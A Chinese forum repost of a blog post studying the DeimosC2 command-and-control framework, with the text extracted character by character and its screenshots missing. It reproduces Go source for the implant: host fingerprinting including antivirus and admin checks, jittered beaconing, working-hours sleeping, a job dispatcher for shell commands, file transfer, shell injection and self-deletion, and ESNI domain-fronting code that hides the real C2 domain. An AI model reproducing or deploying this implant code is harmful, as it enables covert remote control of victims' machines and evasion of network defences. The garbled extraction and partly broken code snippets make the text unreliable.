搜索

[17924] 2021-04-23_deimos-C2代码学习（域名隐藏、凭证dump、moduledroppers）

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-18
2021-04-23_deimos-C2代码学习（域名隐藏、凭证dump、moduledroppers） d e i m o s - C 2 代 码 学 习 （ 域 名 隐 藏 、 凭 证 d u m p 、 m o d u l e   d r o p p e r s ） 原 创   w 8 a y   H a c k i n g 就 是 好 玩   2 0 2 1 - 0 4 - 2 3 简 介 D e i m o s C 2   命 令 与 控 制 （ C 2 ） 工 具 ， 它 利 用 多 种 通 信 方 法 来 控 制 受 到 威 胁 的 计 算 机 。 D e i m o s C 2 服 务 器 和 代 理 可 在 W i n d o w s ， D a r w i n 和 L i n u x 上 运 行 并 经 过 测 试 。 使 用 导 航 图 i m a g e - 2 0 2 1 0 3 2 6 2 1 1 3 5 9 3 4 4 添 加 监 听 器 i m a g e - 2 0 2 1 0 3 2 6 2 1 1 4 3 9 6 7 9 h t t p s 域 名 隐 藏 ， 可 以 指 定 域 前 置 地 址
i m a g e - 2 0 2 1 0 3 2 6 2 1 1 6 0 0 8 1 6 点 击 生 成 a g e n t 后 过 一 段 时 间 会 生 成 各 种 平 台 的 木 马 i m a g e - 2 0 2 1 0 3 2 6 2 1 1 7 4 5 8 5 2 自 带 g o b f u s c a t e 混 淆
i m a g e - 2 0 2 1 0 3 2 6 2 1 1 7 1 9 4 3 6 上 线 后 i m a g e - 2 0 2 1 0 3 2 6 2 1 1 8 4 3 3 9 3 管 理 被 控 端
i m a g e - 2 0 2 1 0 3 2 6 2 1 1 9 3 7 5 8 7 旁 边 还 有 一 跳 一 跳 的 心 跳 监 控 端 ( 看 起 来 很 直 观   -   = ) 执 行 命 令 i m a g e - 2 0 2 1 0 3 2 6 2 1 2 5 1 4 1 0 4 可 以 多 人 协 作 ， 评 论
i m a g e - 2 0 2 1 0 3 2 6 2 1 2 7 5 3 1 6 3 a g e n t 启 动 过 程 可 以 把 " 被 控 端 " 称 作 a g e n t ， 这 是 a g e n t 启 动 过 程 的 函 数 。 第 一 次 启 动 第 一 次 启 动 a g e n t 获 取 数 据 的 数 据 结 构 f u n c   m a i n ( )   {   h t t p . D e f a u l t T r a n s p o r t . ( * h t t p . T r a n s p o r t ) . T L S C l i e n t C o n f i g   =   & t l s . C o n f i g { I n s e c u r e S k i p V e r i f y :   t r u e }   a e s K e y ,   _   =   b a s e 6 4 . S t d E n c o d i n g . D e c o d e S t r i n g ( s t r i n g P u b K e y )   / /   获 取 a e s K e y   f o r   {     a g e n t f u n c t i o n s . C h e c k T i m e ( l i v e H o u r s ) )     / /   检 查 是 否 在 指 定 时 间 内 运 行 ， 如 果 不 是 会 一 直 s l e e p 到 那 个 时 间     i f   k e y   = =   " "   {       c o n n e c t ( " g e t K e y " ,   " " )       g o   c o n n e c t ( " i n i t " ,   " " )       / /   初 始 化 获 取 系 统 信 息     }   e l s e   {       g o   c o n n e c t ( " c h e c k _ i n " ,   " " )       / /   执 行 指 令     }     a g e n t f u n c t i o n s . S l e e p D e l a y ( d e l a y ,   j i t t e r )     / /   抖 动 延 时     a g e n t f u n c t i o n s . S h o u l d I D i e ( e o l )     / /   判 断 是 否 销 毁   } }
相 关 函 数 / / F i r s t T i m e   S t r u c t t y p e   i n i t i a l i z e   s t r u c t   {   K e y                   s t r i n g       / / A g e n t   K e y   O S                     s t r i n g       / / C u r r e n t   O S   O S T y p e             s t r i n g       / / T y p e   o f   O p e r a t i n g   S y s t e m   a n d / o r   D i s t r o   O S V e r s             s t r i n g       / / V e r s i o n   o f   O S   A V                     [ ] s t r i n g   / / A n t i V i r u s   R u n n i n g   H o s t n a m e         s t r i n g       / / C u r r e n t   M a c h i n e   N a m e   U s e r n a m e         s t r i n g       / / C u r r e n t   U s e r n a m e   L o c a l I P           s t r i n g       / / L o c a l   I P   A g e n t P a t h       s t r i n g       / / A g e n t   P a t h   S h e l l z             [ ] s t r i n g   / / A v a i l a b l e   S y s t e m   S h e l l s   P i d                   i n t             / / G e t   P I D   o f   a g e n t   I s A d m i n           b o o l           / / I s   a d m i n   u s e r   I s E l e v a t e d     b o o l           / / I s   e l e v a t e d   o n   W i n d o w s   L i s t e n e r K e y   s t r i n g       / / L i s t e n e r   t h a t   t h e   a g e n t   i s   a t t a c h e d   t o o } / / S h e l l   t y p e s c o n s t   (   p o w e r S h e l l   =   " C : W i n d o w s S y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e "   c m d                 =   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   z s h                 =   " / b i n / z s h "   s h                   =   " / b i n / s h "   b a s h               =   " / b i n / b a s h " ) / / F i r s t T i m e   i s   u s e d   t o   i n i t a l i z e   a n   a g e n t f u n c   F i r s t T i m e ( k e y   s t r i n g )   [ ] b y t e   {   / / G e t   t h e   c u r r e n t   e x e c u t a b l e   p a t h   a g e n t ,   e r r   : =   o s . E x e c u t a b l e ( )   i f   e r r   ! =   n i l   {     E r r H a n d l i n g ( e r r . E r r o r ( ) )   }   / / G e t   c u r r e n t   u s e r   i n f o r m a t i o n   u s e r ,   e r r   : =   u s e r . C u r r e n t ( )   i f   e r r   ! =   n i l   {     E r r H a n d l i n g ( e r r . E r r o r ( ) )   }   / / G e t   c u r r e n t   h o s t n a m e   h o s t n a m e ,   e r r   : =   o s . H o s t n a m e ( )   i f   e r r   ! =   n i l   {     E r r H a n d l i n g ( e r r . E r r o r ( ) )   }   / / G e t   l o c a l   i p   a d d r ,   e r r   : =   n e t . I n t e r f a c e A d d r s ( )   i f   e r r   ! =   n i l   {     E r r H a n d l i n g ( e r r . E r r o r ( ) )   }   v a r   i p   s t r i n g   f o r   _ ,   a   : =   r a n g e   a d d r   {     i f   i p n e t ,   o k   : =   a . ( * n e t . I P N e t ) ;   o k   & &       ! i p n e t . I P . I s L o o p b a c k ( )   & &   ! i p n e t . I P . I s L i n k L o c a l U n i c a s t ( )   {       i f   i p n e t . I P . T o 4 ( )   ! =   n i l   {         i p   =   i p n e t . I P . S t r i n g ( )       }     }
    }   }   / / G e t   a v a i l a b l e   s h e l l z   v a r   s h e l l z   [ ] s t r i n g   i f   r u n t i m e . G O O S   = =   " w i n d o w s "   {     _ ,   e r r   : =   o s . S t a t ( p o w e r S h e l l )     i f   e r r   ! =   n i l   {       E r r H a n d l i n g ( e r r . E r r o r ( ) )     }   e l s e   {       s h e l l z   =   a p p e n d ( s h e l l z ,   p o w e r S h e l l )     }     _ ,   e r r   =   o s . S t a t ( c m d )     i f   e r r   ! =   n i l   {       E r r H a n d l i n g ( e r r . E r r o r ( ) )     }   e l s e   {       s h e l l z   =   a p p e n d ( s h e l l z ,   c m d )     }   }   e l s e   i f   r u n t i m e . G O O S   = =   " l i n u x "   | |   r u n t i m e . G O O S   = =   " d a r w i n "   {     _ ,   e r r   : =   o s . S t a t ( b a s h )     i f   e r r   ! =   n i l   {       E r r H a n d l i n g ( e r r . E r r o r ( ) )     }   e l s e   {       s h e l l z   =   a p p e n d ( s h e l l z ,   b a s h )     }     _ ,   e r r   =   o s . S t a t ( z s h )     i f   e r r   ! =   n i l   {       E r r H a n d l i n g ( e r r . E r r o r ( ) )     }   e l s e   {       s h e l l z   =   a p p e n d ( s h e l l z ,   z s h )     }     _ ,   e r r   =   o s . S t a t ( s h )     i f   e r r   ! =   n i l   {       E r r H a n d l i n g ( e r r . E r r o r ( ) )     }   e l s e   {       s h e l l z   =   a p p e n d ( s h e l l z ,   s h )     }   }   a d m i n ,   e l e v a t e d   : =   p r i v i l e g e s . A d m i n O r E l e v a t e d ( )   o s T y p e ,   o s V e r s ,   a v   : =   f i n g e r p r i n t . F i n g e r P r i n t ( )   / / P l a c e   a l l   t h a t   i n f o r m a t i o n   i n t o   a   J S O N   o b j e c t   s y s t e m I n f o   : =   i n i t i a l i z e { k e y ,   r u n t i m e . G O O S ,   o s T y p e ,   o s V e r s ,   a v ,   h o s t n a m e ,   u s e r . U s e r n a m e ,   i p ,   a g e n t ,   s h e l l z ,   o s . G e t p i d ( ) ,   a d m i n ,   e l e v a t e d ,     m s g ,   e r r   : =   j s o n . M a r s h a l ( s y s t e m I n f o )   i f   e r r   ! =   n i l   {     E r r H a n d l i n g ( e r r . E r r o r ( ) )   }   c w d ,   _   =   o s . G e t w d ( )   r e t u r n   m s g }
检 查 时 间 在 指 定 范 围 检 查 时 间 在 指 定 范 围 传 递 指 令 传 递 指 令 指 令 格 式 根 据 这 个 格 式 来 执 行 命 令 / / S l e e p D e l a y   s l e e p s   b e t w e e n   e a c h   l o o p   o f   t h e   a g e n t   w i t h   a   j i t t e r   %   t o   m a k e   i t   l e s s   p a t t e r n e d f u n c   S l e e p D e l a y ( d e l a y   f l o a t 6 4 ,   j i t t e r   f l o a t 6 4 )   {   m i n S l e e p   : =   d e l a y   -   ( d e l a y   *   j i t t e r )   m a x S l e e p   : =   d e l a y   +   ( d e l a y   *   j i t t e r )   i f   m i n S l e e p   <   3   {     m i n S l e e p   =   2     m a x S l e e p   + =   2   }   t i m e . S l e e p ( t i m e . D u r a t i o n ( r . I n t n ( i n t ( ( m a x S l e e p - m i n S l e e p ) ) + i n t ( m i n S l e e p ) ) )   *   t i m e . S e c o n d ) } v a r   l i v e H o u r s   =   " 0 5 ： 0 0 - 2 1 ： 0 0 "         / / 该 时 间 可 以 运 行 ， 格 式 ： 0 5 ： 0 0 - 2 1 ： 0 0 / / C h e c k T i m e 查 看 当 前 时 间 是 否 在 允 许 的 时 间 之 间 ， 如 果 直 到 当 前 时 间 不 休 眠   f u n c   C h e c k T i m e ( l i v e H o u r s   s t r i n g )   {   i f   l i v e H o u r s   ! =   " "   {     a l l o w e d T i m e   : =   s t r i n g s . S p l i t ( l i v e H o u r s ,   " - " )     s t a r t T i m e   : =   s t r i n g s . S p l i t ( a l l o w e d T i m e [ 0 ] ,   " : " )     e n d T i m e   : =   s t r i n g s . S p l i t ( a l l o w e d T i m e [ 1 ] ,   " : " )     c u r r e n t   : =   t i m e . N o w ( )     s t a r t H o u r ,   _   : =   s t r c o n v . A t o i ( s t a r t T i m e [ 0 ] )     s t a r t M i n ,   _   : =   s t r c o n v . A t o i ( s t a r t T i m e [ 1 ] )     e n d H o u r ,   _   : =   s t r c o n v . A t o i ( e n d T i m e [ 0 ] )     e n d M i n ,   _   : =   s t r c o n v . A t o i ( e n d T i m e [ 1 ] )     s t a r t   : =   t i m e . D a t e ( c u r r e n t . Y e a r ( ) ,   c u r r e n t . M o n t h ( ) ,   c u r r e n t . D a y ( ) ,   s t a r t H o u r ,   s t a r t M i n ,   c u r r e n t . S e c o n d ( ) ,   c u r r e n t . N a n o s e c o n d ( ) ,   c u r r e n t . L o c a t i o n ( ) )     e n d   : =   t i m e . D a t e ( c u r r e n t . Y e a r ( ) ,   c u r r e n t . M o n t h ( ) ,   c u r r e n t . D a y ( ) ,   e n d H o u r ,   e n d M i n ,   c u r r e n t . S e c o n d ( ) ,   c u r r e n t . N a n o s e c o n d ( ) ,   c u r r e n t . L o c a t i o n ( ) )     i f   c u r r e n t . A f t e r ( s t a r t )   & &   c u r r e n t . B e f o r e ( e n d )   {                         / /   判 断   s t a r t > c u r r e n t   & &   c u r r e n t   <   e n d   则 上 线 ， r e t u r n 就 行       r e t u r n     }   e l s e   {       t i m e . S l e e p ( s t a r t . S u b ( c u r r e n t ) )                         / /   取 时 间 差   s t a r t   -   c u r r e n t ， 睡 眠       r e t u r n     }   } } / / A g e n t J o b   i s   t h e   s t a n d a r d   s t r u c t   f o r   a l l   j o b s t y p e   A g e n t J o b   s t r u c t   {   A g e n t K e y     s t r i n g       / / K e y   o f   t h e   a g e n t   t o   c r e a t e   t h e   j o b   f o r   J o b T y p e       s t r i n g       / / T y p e   o f   j o b   A r g u m e n t s   [ ] s t r i n g   / / J o b   a r g u m e n t s   a d h e r i n g   t o   t h e   a b o v e   f o r m a t s }
a g e n t 传 输 协 议 d e i m o s 支 持 的 协 议   「 「 S u p p o r t e d   A g e n t s 」 」 T C P H T T P S D o H   ( D N S   o v e r   H T T P S ) a g e n t 通 过 访 问 来 获 取 数 据 Q U I C P i v o t   o v e r   T C P 域 名 隐 藏 域 名 隐 藏 其 中 自 带 一 个 的 方 案 , 利 用 ， 相 关 原 理 参 考 S i x G e n I n c / N o c t i l u c e n t :   U s i n g   T L S   1 . 3   t o   e v a d e   c e n s o r s ,   b y p a s s   n e t w o r k   d e f e n s e s ,   a n d   b l e n d   i n   w i t h   t h e   n o i s e   ( g i t h u b . c o m ) f u n c   j o b E x e c u t e ( j   [ ] a g e n t f u n c t i o n s . A g e n t J o b )   {   f o r   _ ,   v a l u e   : =   r a n g e   j   {     s w i t c h   v a l u e . J o b T y p e   {     c a s e   " s h e l l " :       g o   a g e n t f u n c t i o n s . S h e l l ( v a l u e . A r g u m e n t s ,   f a l s e )     c a s e   " d o w n l o a d " :       g o   a g e n t f u n c t i o n s . D o w n l o a d ( v a l u e . A r g u m e n t s [ 0 ] )     c a s e   " u p l o a d " :       g o   a g e n t f u n c t i o n s . U p l o a d ( v a l u e . A r g u m e n t s [ 0 ] ,   v a l u e . A r g u m e n t s [ 1 ] ,   v a l u e . A r g u m e n t s [ 2 ] )     c a s e   " f i l e B r o w s e r " :       g o   a g e n t f u n c t i o n s . A g e n t F i l e B r o w s e r s ( v a l u e . A r g u m e n t s [ 0 ] )     c a s e   " o p t i o n s " :       g o   o p t i o n s ( v a l u e . A r g u m e n t s [ 0 ] ,   v a l u e . A r g u m e n t s [ 1 ] )     c a s e   " s h e l l I n j e c t " :       g o   s h e l l i n j e c t . S h e l l I n j e c t ( v a l u e . A r g u m e n t s [ 0 ] ,   v a l u e . A r g u m e n t s [ 1 ] )     c a s e   " m o d u l e " :       g o   e x e c M o d ( v a l u e . A r g u m e n t s [ 0 ] ,   v a l u e . A r g u m e n t s [ 1 ] ,   v a l u e . A r g u m e n t s [ 2 ] )     c a s e   " r e i n i t " :       g o   c o n n e c t ( " i n i t " ,   " " )     c a s e   " k i l l " :       a g e n t f u n c t i o n s . K i l l ( )       c o n n e c t ( " c h e c k _ i n " ,   " " )       s e l f d e s t r u c t i o n . S e l f D e l e t e ( )       o s . E x i t ( 0 )     }   } } h t t p s : / / d n s . g o o g l e . c o m / r e s o l v e ? n a m e = x x x . c o m & t y p e = { t y p e } & c d = f a l e s 域 名 隐 藏 c l o u d f l a r e . c o m
真 实 地 址 放 到 s n i 上 ， 伪 造 的 地 址 放 到 e s n i   s e r v e r 上 。 实 际 访 问 这 个 伪 造 的 地 址 就 可 以 了 。 这 个 方 法 已 经 被 c l o u d f l a r e 修 复 了 ， 不 再 允 许 和 同 时 使 用 ， 同 时 国 内 也 禁 用 。 但 如 果 有 其 他 c d n 厂 商 支 持 这 个 的 话 也 可 以 。 函 数 记 录 记 录 一 些 可 能 会 有 用 的 函 数 i s a d m i n 判 断 是 否 是 管 理 员 账 户 ， 以 及 是 否 提 升 / /   解 析   c l o u d f l a r e   e n s i e s n i K e y s B y t e s ,   e r r   : =   Q u e r y E S N I K e y s F o r H o s t D o H ( " c l o u d f l a r e . c o m " ,   t r u e ) i f   e r r   ! =   n i l   {   f m t . P r i n t l n ( " [ E ]   F a i l e d   t o   r e t r i e v e   E S N I   k e y s   f o r   h o s t   v i a   D o H :   % s " ,   e r r ) } e s n i k e y s ,   e r r   : =   t l s . P a r s e E S N I K e y s ( e s n i K e y s B y t e s ) i f   e r r   ! =   n i l   {   f m t . P r i n t l n ( " [ E ]   F a i l e d   t o   p a r s e   E S N I   k e y s :   % s " ,   e r r ) } / /   设 置 我 们 访 问 时 的 t l s 设 置 t l s C o n f i g   : =   & t l s . C o n f i g {   I n s e c u r e S k i p V e r i f y :   t r u e ,   C l i e n t E S N I K e y s :           e s n i k e y s ,   M i n V e r s i o n :                   t l s . V e r s i o n T L S 1 3 ,   / /   F o r c e   T L S   1 . 3   M a x V e r s i o n :                   t l s . V e r s i o n T L S 1 3 ,   E S N I S e r v e r N a m e :           a c t u a l D o m a i n ,   P r e s e r v e S N I :                 t r u e ,   S e r v e r N a m e :                   f r o n t D o m a i n } h t t p C l i e n t   =   & h t t p . C l i e n t {   T r a n s p o r t :   & h t t p . T r a n s p o r t {     D i a l T L S :   f u n c ( n e t w o r k ,   a d d r   s t r i n g )   ( n e t . C o n n ,   e r r o r )   {       c o n n ,   e r r   =   t l s . D i a l ( " t c p " ,   h o s t + " : " + p o r t ,   t l s C o n f i g )       r e t u r n   c o n n ,   e r r     } ,   } , } / /   发 送 请 求 r ,   e r r   : =   h t t p C l i e n t . P o s t ( ( " h t t p s : / / "   +   a c t u a l D o m a i n   +   " : "   +   p o r t   +   U R L ) ,   " a p p l i c a t i o n / j s o n " ,   b y t e s . N e w B u f f e r ( s o m e J S O N ) ) e n s i s n i e n s i i s a d m i n _ l i n u x . g o
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理